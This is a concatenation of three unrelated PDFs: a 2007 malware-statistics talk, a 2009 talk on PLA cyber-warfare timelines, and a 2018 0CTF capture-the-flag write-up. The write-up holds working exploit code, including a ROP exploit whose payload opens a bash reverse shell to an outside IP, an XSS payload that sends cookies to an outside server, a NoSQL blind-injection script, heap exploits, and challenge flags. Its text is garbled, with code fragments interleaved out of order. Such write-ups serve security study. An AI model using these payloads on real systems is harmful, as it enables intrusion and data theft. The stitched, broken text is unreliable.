paper c11 605972.pdf/
pdf
2/25/2007 Slide 1 Offensive Computing Malware Secrets Valsmith ([email protected]) Delchi ([email protected]) 2/25/2007 Slide 2 Offensive Computing – Malware Secrets Valsmith BACKGROUND: Malware analyst Penetration tester Exploit developer Reverse Engineer AFFILIATIONS: OffensiveComputing Metasploit cDc/NSF 2/25/2007 Slide 3 Offensive Computing – Malware Secrets Delchi BACKGROUND: Incident Response Intrusion Detection Data Mining / Log Correlation AFFILIATIONS: OffensiveComputing cDc/NSF 2/25/2007 Slide 4 Offensive Computing – Malware Secrets What is this? • Offensive Computing • What we do • Database • Findings • Packers • AV statistics • URLs • Other Interesting Data • Future • Questions 2/25/2007 Slide 5 Offensive Computing – Malware Secrets Offensive Computing • Malware Blog • Posts from OC members and community • Interesting malware discussions • Rustok • Dolphin Stadium trojan • Symantec Worm / Big Yellow • Sample Collection • 140,054 samples and growing • Available for download • Auto-Analysis • Uploaded samples baseline analyzed 2/25/2007 Slide 6 Offensive Computing – Malware Secrets Database • Database of associated malware information • Searchable web interface • File typing • Multiple Checksums (md5,sha1,sha256) • Packer detection (modified msfpescan) • Multiple Anti-Virus scan • Bitdefender Kaspersky • Antivir Avast • Clamav AVG • F-Prot F-Secure • McAfee More coming 2/25/2007 Slide 7 Offensive Computing – Malware Secrets Database • PE Info • Based on PEFile project from Ero Carrera with contributions by Danny Quist, OC • Binary archive • Strings • File size • Auto-unpacking coming soon! (see our other talk) 2/25/2007 Slide 8 Offensive Computing – Malware Secrets Findings • Ok so we have all this malware, now what? • Time to mine the data • What might be interesting? • Packer statistics • Common strings • URL’s (call back, command and control, droppers) • E-mail addresses • IP addresses 2/25/2007 Slide 9 Offensive Computing – Malware Secrets How these statistics were gathered • Files collected via • Raw submissions to OC via web • Honeypots • Spam attachments • Any file could have been uploaded • Including benign files, system files, etc. • Files were NOT manually verified to be malware • Still useful test, AVs scan non-malware • Most current AV signatures used • Linux based AV scanners only 2/25/2007 Slide 10 Offensive Computing – Malware Secrets • Results of auto-analysis saved in database and text files • Analysis data mined with PERL / shell scripts • Tool called pizda developed by Delchi to data mine results • Results could be somewhat “fuzzy” • Many genetically similar samples exist in sample set • Different md5sum / same basic functionality How these statistics were gathered 2/25/2007 Slide 11 Offensive Computing – Malware Secrets Packers • Out of 31996 samples 37.9% had detected packers • Our packer detection also tries to detect compiler • Top five detected packers: • UPX • PECOMPACT • ASPACK • FSG • PE PACK 2/25/2007 Slide 12 Offensive Computing – Malware Secrets Packers • Compilers detected in order: • Microsoft Visual C++ • Microsoft Visual Basic • Borland Delphi • What’s statistically significant? • Most used packers • But also least used packers 2/25/2007 Slide 13 Offensive Computing – Malware Secrets Packers Packer Distribution Over 100 Files upx , 3294, 26% Microsoft Visual C++ , 1946, 15% Microsoft Visual Basic , 1327, 10% pecompact , 1129, 9% Borland Delphi , 988, 8% aspack , 762, 6% fsg , 750, 6% PE Pack , 505, 4% ste@lth PE , 498, 4% MEW , 426, 3% neolite , 379, 3% InstallShield 2000 , 191, 1% petite , 148, 1% LCC Win32 , 114, 1% PEX , 111, 1% Krypton , 108, 1% themida , 100, 1% More than 100 files detected with packer listed 2/25/2007 Slide 14 Offensive Computing – Malware Secrets Packers Packer Distribution Over 10 Files video-lan client , 96, 13% Obsidium , 80, 11% telock , 79, 10% yodas protector , 77, 10% EXE Stealth , 68, 9% yodas crypter , 55, 7% PE Diminisher , 49, 6% asprotect , 32, 4% EZIP , 29, 4% PC-Guard , 23, 3% PC Shrinker, 23, 3% xtreme-protector , 21, 3% GCC-Win32 , 20, 3% tasm/masm , 19, 3% wwpack32 , 16, 2% winzip 32-bit sfx module , 16, 2% Install Stub 32 , 16, 2% PE Crypt , 15, 2% CExe , 12, 2% peninja , 10, 1% More than 10 files but less than 100 detected with packer listed 2/25/2007 Slide 15 Offensive Computing – Malware Secrets Packers Packer Distribution Under 10 Files pklite , 9, 10% PKLITE32 , 9, 10% peshield , 9, 10% Cygw in32 , 9, 10% Nullsoft Install System , 8, 9% Blade Joiner , 7, 8% w inrar sfx module , 6, 6% EXE Shield , 6, 6% w ise installer stub , 5, 5% AHTeam EP Protector , 4, 4% virogen crypt , 3, 3% Pow erBasic/CC , 3, 3% PESpin , 3, 3% Crypto-Lock , 3, 3% stones PE Encryptor , 2, 2% PEnguinCrypt , 2, 2% North Star PE Shrinker , 2, 2% SoftDefender , 1, 1% Private EXE , 1, 1% CodeSafe , 1, 1% Less than 10 files detected with packer listed 2/25/2007 Slide 16 Offensive Computing – Malware Secrets Anti-virus Detection statistics Don’t base purchasing decisions on these figures! Rough / inaccurate numbers! Out of 31996 samples tested, each AV detected: BitDefender 29127 91.0% AVG 28095 87.8% F-Secure 27972 87.4% Kaspersky 27979 87.4% Avast 27777 86.8% McAfee 27061 84.5% Antivir 26388 82.4% ClamAV 24496 76.5% F-Prot 24048 75.1% 2/25/2007 Slide 17 Offensive Computing – Malware Secrets Anti-virus Detection statistics • 446 files not detected by any AV (could be non-malware) • The few of these manually tested were malicious • Out of 31996 samples tested, each AV failed to detect: • Range of 5079 between worst and best Antivir 5608 17.5% Avast 4219 13.1% AVG 3901 12.1% BitDefender 2869 8.0% ClamAV 7500 23.4% F-Prot 7948 24.8% F-Secure 4024 12.5% Kaspersky 4017 12.5% McAfee 4935 15.4% 2/25/2007 Slide 18 Offensive Computing – Malware Secrets Anti-virus 2/25/2007 Slide 19 Offensive Computing – Malware Secrets Anti-virus 2/25/2007 Slide 20 What else can we find • Collecting the strings from each binary – Packed bins still often have info • Strings give us clues into malware trends • Financial related strings growing • E-mail addrs, URLS, IP’s etc. useful for finding call home connections • Trends? 2/25/2007 Slide 21 URLS • Parsing the malware strings yields interesting results • 123 Russian URLS – http://catalog.zelnet.ru/ – http://binn.ru/ – http://www.aktor.ru/ – http://av2026.comex.ru/ – http://www.free-time.ru/ – http://momentum.ru/ – http://www.elemental.ru/ – http://mir-vesov.ru/p/lang/CVS/ – http://www.scli.ru/ – http://sacred.ru/ – http://pocono.ru/ 2/25/2007 Slide 22 URLS • URLs with the word “hack”: – Http://www.Geocities.com/Hack_A_Freind_inc/ – http://1337suxx0r.ath.cx:580/hack/sneaker/ – http://www.hack-info.de/ – http://www.hacknix.com/~rnsys/ – http://hackzzz.narod.ru/ – http://www.micro-hack.com/ – http://www.outergroup.com/hacktack/ – http://www.hack-gegen-rechts.com/ – http://www.immortal-hackers.com/ – http://data.forumhoster.com/forum_hackersnet/ – http://www.shadowhackers.de.vu/ • (These are the SMART hackers :) 2/25/2007 Slide 23 URLS • Government sites referenced: – HTTP://WWW.CAIXA.GOV.BR/ – http://camaramafra.sc.gov.br/1/ – http://www.receita.fazenda.gov.br/ – http://www.lfxmsc.gov.cn/ – http://hbh.gov.cn/inc/ – http://hbh.gov.cn/gg/ – http://shadowvx.gov/benny/viruses/ 2/25/2007 Slide 24 URLS • 39 IP addresses (call back / C&C?) • 7 Chinese sites • 3 Israeli sites • 23 Brazilian (banker trojans?) • 98 German urls • 4 Romanian • 9 Japanese • vx.netlux.org/ shows up quite a bit 2/25/2007 Slide 25 E-Mail addresses • Only 67 total emails extracted • 2 Russian Emails show up repeatedly – [email protected][email protected] • Xfocus guys probably from ripped exploit code – [email protected][email protected] 2/25/2007 Slide 26 Interesting Strings • Lots of useful words found in malware • The word “BANK” shows up x times • “CREDIT” shows up x times • “SOCIAL SECURITY” / “SSN” show up x times • Owned x times • Hack x times • Deface x times 2/25/2007 Slide 27 Interesting Strings • $remote_addr="http://127.0.0.1/~ snagnever/defacement/paginanov a/";//url 2/25/2007 Slide 28 Interesting Strings • Yo momma so old her social security number is 1! 2/25/2007 Slide 29 Interesting Strings • CCALG - Credit Card Generator.exe 2/25/2007 Slide 30 Interesting Strings • Enter credit card number here to verify 2/25/2007 Slide 31 Interesting Strings • [TFTP]: I just owned: %s (%s). 2/25/2007 Slide 32 Interesting Strings • C:\[Rx- oWneD]_[Coded_NAPSTER_For _0lab-Team]\[Rx-oWneD] [Coded NAPSTER For 0lab- Team]\Debug\rBot.pdb 2/25/2007 Slide 33 Interesting Strings • HI HackeR, HenKy LiveS HerEf 2/25/2007 Slide 34 Interesting Strings • Only a Joke!!!!!! JOKE The Web station has been HACKED Ha Ha Ha!!. 2/25/2007 Slide 35 Interesting Strings • Citibank Australia • Wachovia Online Business Banking • Unibanco • Bank of America 2/25/2007 Slide 36 Conclusion • Large collection of malware provides data mining opportunity • Not best way to test AV but interesting results • Why don’t malware authors use tougher packers more often? • Financial attacks prevalent (we already knew that) 2/25/2007 Slide 37 Questions ? • Thanks to krbkelpto, Danny Quist, Metasploit, #vax and the rest of OCDEV team! • Thank you!
pdf
Time Line and Nodal Analysis of PLA IW Development Ming Zhou iDefense Security Intelligence Services 19 February , 2009 2 Agenda + What Have Western Seen? + iDefense Research Methodology + PLA IW Timeline + Deduction and Facts + My One Step Leap Time Line 3 What Western Have Seen + Titan Rain + Western governments accusation + Sandia National Laboratories + Congress Offices + DoD Contractors + Pentagon + Navy + NASA + Indian Government 4 By Default + PLA! + PLA? + PLA {x,y,z…} + State Sponsor! + State Sponsor? + State Sponsor {a,b,c…} + Gaps... 5 Can He Fit the Profile? 6 Questions before starting + Under order? + Just for Fun? + A Soldier with uniform + A Soldier without uniform + Several Soldiers with uniform + Several Soldiers without uniform + PATRIOTISM , PROPAGANDA ACQUIESCENCE 7 Asymmetric war -Card game 8 River Rock to New York City 9 Spot of Cheetah 10 Methodology + Micro to Macro, Macro to Micro, + Methodology {Identify, Verify, Validate, Organize} + Consistency + Continuity + Tangible Entities + Undeniable published news + Cross references +AND 11 Rules + Time + Location + Unit Code + Leader’s Name + Order Number + Designated Function + Machine Learning { x, y, z…} +OR 12 Hierarchy 13 Sub Sets + CMC ▪ General Staff Department (GSD) ▪ General Political (GPD) Department ▪ General Logistics Department (GLD) ▪ General Armament Department (GAD) + The GSD is responsible for organizing, leading, and commanding military actions. It is made up of departments for war operations, information, communication, military training, army affairs, mobilization, armament, security, mapping and surveying, foreign affairs, as well as the affairs of the various armed services and arms. 14 PLA Force Structure + 7 regions (NE, NW, Beijing, E, Nanjing, SE, SW) + Air force + Navy + 2nd Artillery + Ground Force ▪ Active 500,000 ▪ Armed Police Force 1,500,000 ▪ Militia 1,000,000 15 Recursively Break down + Chinese People’s Armed Police Forces (APF) and the Militia. ▪ The Militia is a force engaged in continuous preparation and support activities under the leadership of the Party of China ▪ It is a component part of the armed forces. Under the command of active military units. + A hierarchical subordination relationship is clear. APF is under the direction of the PLA ▪ CMC publishes national policy regarding militia management and provides overall guidance; ▪ GSD provides management , ▪ PLA regional commanders execute down to the city level through the local APF authorities. ▪ The GSD publishes annual training tasks ▪ The regional PLA garrisons execute the tasks ▪ APF provides the operation units. Equipment and training facilities are supported by different levels of authority. 16 Time Line 1 + 07/1997, The first PLA Division Chief of Staff training forum, dedicated to studying the Kosovo War. + 01/1998, First official net militia unit, 40 professionals + 02/1999, Unrestricted Warfare + 06/1999, Military started to use HLLP.YAI. + 01/2000, Join forces Taiwan War Drill. + 12/2000, Gen Xu, GSD promotion. 17 Timeline 2 + 08/2000, First real drill and deployed “Militia Special Net War Training System” for air defense + 01/2001, Xujing Garrison Training base for 60 Million Yuan + 03/2001, Air Defense Emergency Alternate Plans, 63 Masters and Professors + 01/2002, Chongqing and Tianjin exchange and study air defense + 03/2002, PLA 73685 Unit tests for air defense master switch. + 05/2002, SW 24/7, 30 minutes response unit + 05/2002, PLA Gens. Inspect labs. + 05/2002, Civilian instructors and Trojan “Glacier “ 18 Zoom 1 19 Net Militia Units 20 Identity 21 Timeline 3 + 01/2003, Nanjing PLA outsourcing to University as war time commanding center + 04/2003, Senior Net Militia back to mother University to train junior Net Militias. + 07/2003, State Own Enterprises as war time commanding centers 22 Timeline 4 + 11/2003, PLA Regions new equipments test + 12/2003, “Frontier Guard 230” Joint operation for air defense + 01/2004, New space surveillance and radar system + 03/2004, 9th Order of 2002 and 2003’s 231st document + 05/2004, SW Air Defense Officer Institute. + 11/2004, Special recruiting in Guangzhou PLA + 11/2004, Performance review and appraisal. + 12/2004, Training and drill integrate to real war track 23 Little Stop + Air Defense 7 times + Directly related 2 times 24 Timeline 5 + 04/2005, A large scale emergency order to form Net Militia Units. + 04/2005, Multiple Intelligence Units + 05/2005, PLA and PAF Universities recruiting + 11/2005, National Emergency Drill Structure + 05/2006, Air defense drills and exchange + 05/2006, NCPH GinWui Rootkit. 25 Zoom 26 Timeline 6 27 + 11/2006, Large scale online Psychological warfare against Taiwan + 05/2007, Shanghai in the air defense game + 07/2007, Wuhan in the air defense game + 07/2007, Guangzhou PLA set “100 mile off shore” + 08/2007, Electromagnetic protection solution + 11/2007, Bring in Complicate Electromagnetic Environment concept Timeline 7 + 09/2007, Tank Regiment 1000 Mile maneuver CEE Drill + 12/2007, Purchase “Helicopter” related Information + 01/2008, PLA Shenyang Drill for Trojans to change logistic requirements and data to cause confusion. Then EMP destroyed motherboard wireless function modules, landlines and finally radio stations. + 09/2008, Guangzhou Deployed KS-1 Missile with Net Militia Units. + 09/2008, 2nd Artillery, the largest drill in history and new standards + 10/2008, 35 satellites cover surrounding + 10/2008, Tank Regiment “Front Line 2008” live ammunition CEE Drill + 01/2009. East Sea Fleet drill CEE 28 Zoom 2 29 Activities Stage Map 30 Product development Stages + Strategic Planning  Time Line1 + Research  Time Line 2 + Product Define Time Line 3 + Project management  Time Line 4 + Industrialization  Time Line 5 + Implementation  Time Line 6 + Dissemination  Time Line 7 + New Circle of Preparation for CEE 31 Different stages 32 Spiral Model + Quick Prototype Taiwan + Requirements  Stage 2 + Design the System Stage 3 + Build in  Stage 4,5 + Test  Stage 6,7 + Release Back to the initial focus 33 Facts List + PLA is guiding and tasking Net Militia Units and civilian companies. + PLA has developed large scale national cyber emergency drill + All activities are based on physical infrastructure…CERNET. + PLA IW focus was air defense, recently shift to Operate under CEE + From inland to coast line + From person to business to national level structure + From civilian research to official order + From land to ocean to space + From virtual to tank to missile + Taiwan was the initial issue, is and still will be + PLA IW module is complete. 34 Operate on CERNET 35 北京 郑州 西安 武汉 合肥 上海 杭州 广州 成都 沈阳 天津 重庆 济南 厦门 大连 长春 哈尔滨 长沙 南京 兰州 10G 2.5G 用户接入网 用户接入网 用户接入网 用户接入网 用户接入网 用户接入网 用户接入网 用户接入网 用户接入网 用户接入网 用户接入网 用户接入网 用户接入网 用户接入网 用户接入网 用户接入网 用户接入网 用户接入网 用户接入网 CERNET2网络结构图 用户接入网 Taiwan War Map-Head Off Operation 36 Followings are just my OWN observations + 90 % information from OSINT + 10% Reliable sources + Remember : Investigator + AI Robot Thinking + Tank Sable Penetration+ Disney kitchen man +Takes Passion, Domain Expertise, Neutral Thinking, Efforts and Time to Digest 37 107 mm Rocket 38 Simulation 39 Diesel AIP 40 300 km Anti-Ship Missile 41 South Sea Fleet is Preparing for “After Nuke” 42 South Sea and Deep Inland Combined Drill 43 Guangxi and Guangzhou Logistic Support Chain 44 WiMax On the Top of Everest 45 Xiao Tian 46 2010, 35 satellites 47 2010-2011 Space Station 48 35 Satellites Cover Zone (E70-145, N5-55) 49 Another Time Line + “…China has no real war since 50 years ago, soldier needs real practicing…” General (S) + Air Defense School Student: From O-2 to O-3, O3-O4, O-4 to O-5. + Heritage foundation research : 2025 pacific area 5:1 submarine + Aircraft carrier 2020 + Imbalance between men and women: 40 Million extra bachelors 2020. + Another 10 years. 50 My Hypothesis + IF ( Taiwan War Break out) + Then (what China will most likely face) ▪ Cyber (Propaganda, Economic, Media, Penetration , Psychological ) ▪ Space (Satellite ) ▪ Air (Regular strike , Airborne and landing, Electronic warfare) ▪ Ocean ( Pacific Fleet ) ▪ Land (Direct Force Insertion, “Back Stabbing”) + So ▪ Great Firewall, ▪ IPV6 ▪ .CN Root Domain ▪ Satellite Quick Launch ▪ Air Defense, CEE ▪ More Diesel Submarines ▪ Satellite Cover zone ▪ Indian 51 Question and Answer 52
pdf
2018 0CTF Author: Nu1L 2018 0CTF Author: Nu1L Misc hidden message Welcome MathGame Baby VM 2 Web ezDoor (Done) h4x0rs.club 1 (Done) h4x0rs.club 2 (Done) LoginMe (Done) Reverse g0g0g0 (Done) babyvm (solved) udp (Done) Pwnable Baby Stack 2018 Baby heap 2018 (solved) Zer0 FS (solved) Black Hole Theory Misc hidden message tcp wikiflag Welcome irctitle MathGame This is a challenge about using printf to do subtraction. I first figured out how to take the number b by using wildcard precision specifier like this %1$.*4$d . And then used a pretty hacky way (kinda hard to elaborate, see the script) to generate -b . Finally I can perform a-b as a+(- b) . One thing to note is that we are not given the path of the flag. I dumped some info from /proc/self/maps and saw the path of current binary, and guessed /home/subtraction/flag is the flag path. Full exploit can be found here. Baby VM 2 I really enjoyed solving this challenge (though it brings much pain for my lack of knowledge on NTFS) since there're few Winternals -related challenges in CTF. The first thing I thought about when I saw DeviceIoControl is reparse point , since the path is filtered and we need to read from somewhere out of this directory. By using FSCTL_SET_REPARSE_POINT , we can actually create a mount point (a.k.a. junction ) to C:\flag\ (Though we can't create symlinks since we don't hold the privilege required.). By reversing, I found only backslashes , dots and question marks are filtered, slashes are not filtered, so we can use this as seperator, (and the filtering is not perfect, we can do directory traversal like this .txt/../../../../../../flag/ , but seems not exploitable). And then I spent several hours trying to figure out how to create a directory with CreateFile . (Even the API documents told me I can't!) I then noticed something related to NTFS ADS . Finally I can create the directory by specifing the file name with an ADS like this : nu1l:$I30:$INDEX_ALLOCATION and use it to create the junction . Script can be found here. btw, looks like the chal author is also a fan of James Forshaw :p Web ezDoor (Done) http://202.120.7.217:9527/ index.php/. opcachebinphp decode function encrypt() { #0 !96 = RECV(None, None); #1 !112 = RECV(None, None); #2 INIT_FCALL(None, 'mt_srand'); #3 SEND_VAL(1337, None); #4 DO_ICALL(None, None); #5 ASSIGN(!128, ''); #6 ~192 = STRLEN(!96, None); #7 ASSIGN(!144, ~192); #8 ~192 = STRLEN(!112, None); #9 ASSIGN(!160, ~192); #10 ASSIGN(!176, 0); #11 JMP(->21, None); #12 INIT_FCALL(None, 'chr'); #13 INIT_FCALL(None, 'ord'); #14 $192 = FETCH_DIM_R(!112, !176); #15 SEND_VAR($192, None); #16 $192 = DO_ICALL(None, None); #17 INIT_FCALL(None, 'ord'); #18 ~224 = MOD(!176, !144); #19 $208 = FETCH_DIM_R(!96, ~224); #20 SEND_VAR($208, None); #21 $224 = DO_ICALL(None, None); #22 ~208 = BW_XOR($192, $224); #23 INIT_FCALL(None, 'mt_rand'); #24 SEND_VAL(0, None); #25 SEND_VAL(255, None); #26 $224 = DO_ICALL(None, None); #27 ~192 = BW_XOR(~208, $224); #28 SEND_VAL(~192, None); #29 $192 = DO_ICALL(None, None); #30 ASSIGN_CONCAT(!128, $192); #31 PRE_INC(!176, None); #32 ~192 = IS_SMALLER(!176, !160); #33 JMPNZ(~4294966624, ->134217707); #34 INIT_FCALL(None, 'encode'); #35 SEND_VAR(!128, None); #36 $192 = DO_UCALL(None, None); #37 RETURN($192, None); } function encode() { #0 !96 = RECV(None, None); #1 ASSIGN(!112, ''); #2 ASSIGN(!128, 0); #3 JMP(->17, None); #4 INIT_FCALL(None, 'dechex'); #5 INIT_FCALL(None, 'ord'); #6 $160 = FETCH_DIM_R(!96, !128); #7 SEND_VAR($160, None); #8 $160 = DO_ICALL(None, None); #9 SEND_VAR($160, None); #10 $160 = DO_ICALL(None, None); #11 ASSIGN(!144, $160); #12 ~176 = STRLEN(!144, None); #13 ~160 = IS_EQUAL(~176, 1); #14 JMPZ(~128, ->4); #15 ~160 = CONCAT('0', !144); #16 ASSIGN_CONCAT(!112, ~160); #17 JMP(->2, None); #18 ASSIGN_CONCAT(!112, !144); https://3v4l.org/FpDh0 flag{0pc4che_b4ckd00r_is_4_g0o6_ide4} h4x0rs.club 1 (Done) https://h4x0rs.club/game/ weakpass admin/admin h4x0rs.club 2 (Done) xss #19 PRE_INC(!128, None); #20 ~176 = STRLEN(!96, None); #21 ~160 = IS_SMALLER(!128, ~176); #22 JMPNZ(~4294966720, ->134217710); #23 RETURN(!112, None); } #0 ASSIGN(!96, 'input_your_flag_here'); #1 INIT_FCALL(None, 'encrypt'); #2 SEND_VAL('this_is_a_very_secret_key', None); #3 SEND_VAR(!96, None); #4 $128 = DO_UCALL(None, None); #5 ~112 = IS_IDENTICAL($128, '85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab'); #6 JMPZ(~96, ->3); #7 ECHO('Congratulation! You got it!', None); #8 EXIT(None, None); #9 ECHO('Wrong Answer', None); #10 EXIT(None, None); <?php mt_srand(1337); // php $s = "\x85\xb9\x54\xfc\x83\x80\xa4\x66\x27\x6e\x4a\x48\x24\x9d\xdd\x4a\x19\x9f\xc3\ x4e\x5b\x06\x14\x64\xe4\x29\x5f\xc5\x02\x0c\x88\xbf\xd8\x54\x55\x19\xab"; $t = 'this_is_a_very_secret_key'; for ($i = 0; $i < strlen($s); $i++) { echo chr(ord($s[$i]) ^ (mt_rand(0,255)) ^ ord($t[$i % strlen($t)])); } csp: xss https://h4x0rs.club/game/?msg=wupco888<img> csp noncenonce js jsclassid upgradeid or orz https://h4x0rs.club/game/javascripts/app.js b()class=’js-user’ id=‘audiences ’b() T() T()0b() payload firefoxxss(domscriptbypass nonce) chromexss auditorpayload scriptxss auditor10s audiencesdivalert(1)scriptpayload uxssautoxss js client.js https://h4x0rs.club/game/?msg=wupco666aaa </div></div></div></div><body class="js-user"><div id="audiences"> <script>alert(1)</script></div></body><!— https://h4x0rs.club/game/?msg=wupco666aaa </div></div></div></div><body class="js-user"><div id="audiences"> <script>alert(1)</script></div></body><!— js-difficultychildren (app.js) id = play-btn gatgetpayload https://h4x0rs.club/game/?msg=wupco666aaa </div></div></div></div></div></div></div></div></div></div></div></div></div> </div></div></div></div></div></div></div><div class="button button--small button--blue js-difficulty d-flex justify-content-center align-items-center button js-start-button grow button--green d-flex justify-content-center align- items-center" id="play-btn" ><i class="icon ion-play"></i></div><script class="js-user"></script><div id="audiences">alert(1)</div></body><!-- good! vpsvps xssok cookie 10sxss bot T() https://h4x0rs.club/game/?msg=wupco666aaa </div></div></div></div></div></div></div></div></div></div></div></div></div> </div></div></div></div></div></div></div><div class="button button--small button--blue js-difficulty d-flex justify-content-center align-items-center button js-start-button grow button--green d-flex justify-content-center align- items-center" id="play-btn" ><i class="icon ion-play"></i></div><script class="js-user"></script><div id="audiences">alert(1)</div></body><!-- id = timer .secondstime.seconds 00 js10s ’1000’!! e-210e-2 0.1s payload: urlvpsgetflag LoginMe (Done) bool https://h4x0rs.club/game/?msg=wupco666aaa </div></div></div></div></div></div></div></div></div></div></div></div></div> </div></div></div></div></div></div></div><div class="timer d-flex p mb-3 flex-md-row grow align-items-stretch" id="timer"> <div class="timer__display screen d-flex justify-content-center"> <div class="align-self-center font- weight-fat"><span class="minutes">00</span> <span class="colon">:</span> <span class="seconds">e-2</span></div> </div> </div><div class="button button-- small button--blue js-difficulty d-flex justify-content-center align-items- center button js-start-button grow button--green d-flex justify-content-center align-items-center" id="play-btn" ><i class="icon ion-play"></i></div><script class="js-user"></script><div id="audiences">location.href='http://123.206.216.198/cookie.php? msg='+document.cookie</div></body><!— # Install the Python Requests library: # `pip install requests` import requests import time def send_request(id,guess): # Request (2) # POST http://202.120.7.194:8081/check try: response = requests.post( url="http://202.120.7.194:8081/check", headers={ "Content-Type": "application/x-www-form-urlencoded; charset=utf-8", }, data=( ("username[0]", "admin"), ("password[1]", "1"), ("username[1]", "#zadminaaaa#"), ("zadminaaaa[0]", "+assert(tojsononeline(this).split(String.fromCharCode(32))[18] ["+str(id)+"]=='"+guess+"')+"), ) ) print( "+assert(tojsononeline(this).split(String.fromCharCode(32))[18] ["+str(id)+"]=='"+guess+"')+") print('Response HTTP Status Code: {status_code}'.format( status_code=response.status_code)) print('Response HTTP Response Body: {content}'.format( content=response.content)) if response.status_code == 200: return True return False except requests.exceptions.RequestException as e : #print(e) return False result = "" while True: i = len(result)+1 for num in range(35,128): print(result+chr(num)) time.sleep(0.4) if send_request(i,chr(num)): result += chr(num) print(result) break Reverse g0g0g0 (Done) go trace func0: max(a,b) func2: func4: func6: "123456" -> [1,2,3,4,5,6] func1(aa,bb): cmp main http://ami.ektf.hu/uploads/papers/finalpdf/AMI_43_from29to41.pdf 10 babyvm (solved) The logic of the program is not that complex. The only thing we need to deal with is the statically compiled stl . To get rid of this problem I fired up my Visual Studio and wrote a simple program using deque (since there're strings implying the usage of deque ) and tried to understand the functions accordingly. Finally I wrote a simple script to create a vm.bin that outputs the flag. Script can be found here. udp (Done) 4000udp udp master : port 5999 clusters : port 6000-10000 master cluster6000 flag master 54 60006001 a3baa->b+1 6001 t60 = ((t24+t26)*(t24+t28))*t24+((t24+t26)*(t26+t28))*t26+(t24+t28)* (t26+t28))*t28 t66 = 10*(t24+t26)*(t24+t28)*(t26+t28) t66 == t60 1 01 2 2 0 1 Pwnable Baby Stack 2018 return to dl resolve 2 20 1 4000x40003999x3999 from pwn import * from roputils import * from hashlib import sha256 def get_solution(chal): for i in range(0, 0x100): for j in range(0, 0x100): for k in range(0, 0x100): for l in range(0, 0x100): sol = chr(i) + chr(j) + chr(k) + chr(l) if sha256(chal + sol).digest().startswith('\0\0\0'): return sol LOCAL = 0 VERBOSE = 1 DEBUG = 0 if VERBOSE: context.log_level = 'debug' if LOCAL: io = process('./babystack') if DEBUG: gdb.attach(io, '') else: io = remote('202.120.7.202', 6666) chal = io.recvuntil('\n')[:-1] io.send(get_solution(chal)) fpath = './babystack' elf = ELF(fpath) offset = 0x28+4 rop = ROP(fpath) addr_bss = rop.section('.bss') Baby heap 2018 (solved) Libc = GNU C Library (Debian GLIBC 2.24-11+deb9u3) stable release version 2.24, by Roland McGrath et al. updatechunksize overlapfastbin attack main arenatop chunk malloc hookone gadget buf1 = rop.retfill(offset) buf1 += p32(0x08048300) + p32(0x804843B) + p32(0) + p32(addr_bss) + p32(100) buf1 = buf1.ljust(0x40, 'A') buf2 = rop.string("bash -c 'bash&>/dev/tcp/123.206.90.244/6666<&1';") buf2 += rop.fill(50, buf2) buf2 += rop.dl_resolve_data(addr_bss+50, 'system') buf2 += rop.fill(100, buf2) buf3 = rop.retfill(offset) buf3 += rop.dl_resolve_call(addr_bss+50, addr_bss) buf3 = buf3.ljust(0x40, 'A') buf = buf1 + buf2 + buf3 buf = buf.ljust(0x100, 'A') io.send(buf) io.interactive() #!/usr/bin/env python2 # coding:utf-8 from pwn import * import os import time target = 'babyheap' libc = ['libc-2.24.so'] break_points = [] remote_addr = '202.120.7.204' remote_port = 127 p = remote(remote_addr,remote_port) def allocate(size): p.sendlineafter("Command:","1") p.sendlineafter("Size:",str(size)) def update(index, new_size, data): p.sendlineafter("Command:","2") p.sendlineafter("Index:",str(index)) p.sendlineafter("Size:",str(new_size)) p.sendafter("Content:",data) def delete(index): p.sendlineafter("Command:","3") p.sendlineafter("Index:",str(index)) def view(index): p.sendlineafter("Command:","4") p.sendlineafter("Index:",str(index)) def exp(cmd): allocate(0x18) #0 allocate(0x48) #1 allocate(0x48) #2 allocate(0x20) #3 update(0,0x19,"A"*0x18+"\xa1") delete(1) # hint() allocate(0x48) #1 view(2) p.recvuntil("Chunk[2]: ") unsort_bin = u64(p.recv(8).ljust(8,'\0')) libc_base = unsort_bin - 0x399b58 main_arena = libc_base + 0x399b00 malloc_hook = libc_base + 3775216 magic = libc_base + 0x3f35a print hex(unsort_bin) print hex(libc_base) allocate(0x48) #4 in 2 delete(1) delete(4) view(2) p.recvuntil("Chunk[2]: ") heap = u64(p.recv(8).ljust(8,'\0')) heap_base = heap-0x20 print 'heap_base',hex(heap_base) Zer0 FS (solved) The kernel module is compiled with debugging symbols, we can easily extract and figure out the entire structure of the filesystem. The bugs lies in the handle of zerofs_inode , the filesystem does not perform any bound check on file_size , so we can read/write out-of-bound. So here comes how I exploited this bug. Since the address of the block buffer is not known by the usermode, I tried to read the data stored after the buffer and I saw a lot of weird usermode pointers & filesystem stuff. I finally tried to create a readonly file mapping and write to the mapping in kernel, there's a perfect target /umount for the mapping since it's a suid binary. Doing so we can change the content of those suid binary, then we can get root privilege through allocate(0x20) delete(1) update(2,0x8,p64(main_arena+0x15-8)) print 'update ok' # time.sleep(2) allocate(0x48) # time.sleep(2) allocate(0x48) # time.sleep(2) update(4,0x3b+8,'\x00'*0x3b + p64(malloc_hook-35)) # hint() print "ok" allocate(0x40) update(5,32+3,"\x00"*3 + p64(magic)*4) allocate(0x10) p.interactive() if __name__ == '__main__': exp("id") the manipulated suid binary. Full exploit can be found here. Black Hole Theory linkmap from pwn import * from hashlib import sha256 def get_solution(chal): for i in range(0, 0x100): for j in range(0, 0x100): for k in range(0, 0x100): for l in range(0, 0x100): sol = chr(i) + chr(j) + chr(k) + chr(l) if sha256(chal + sol).hexdigest().startswith('00000'): return sol LOCAL = 0 VERBOSE = 0 DEBUG = 0 context.arch = 'amd64' if VERBOSE: context.log_level = 'debug' def exploit(idx, num): if LOCAL: # io = process('./blackhole') io = process('./pow.py') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') if DEBUG: gdb.attach(io, 'b *0x0000000000400A30\n') else: io = remote('202.120.7.203', 666) libc = ELF('./libc-2.24.so') chal = io.recvuntil('\n')[:-1] io.send(get_solution(chal)) read_plt = 0x400730 pop_rdi = 0x0000000000400a53 pop_rsi_r15 = 0x0000000000400a51 pop_csu_gadget = 0x0000000000400A4A mov_csu_gadget = 0x0000000000400A30 bss = 0x601000 elf = ELF('./blackhole') payload1 = 'A' * 0x28 payload1 += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(bss+0x100) + p64(0) + p64(read_plt) + p64(0x4009A7) payload1 = 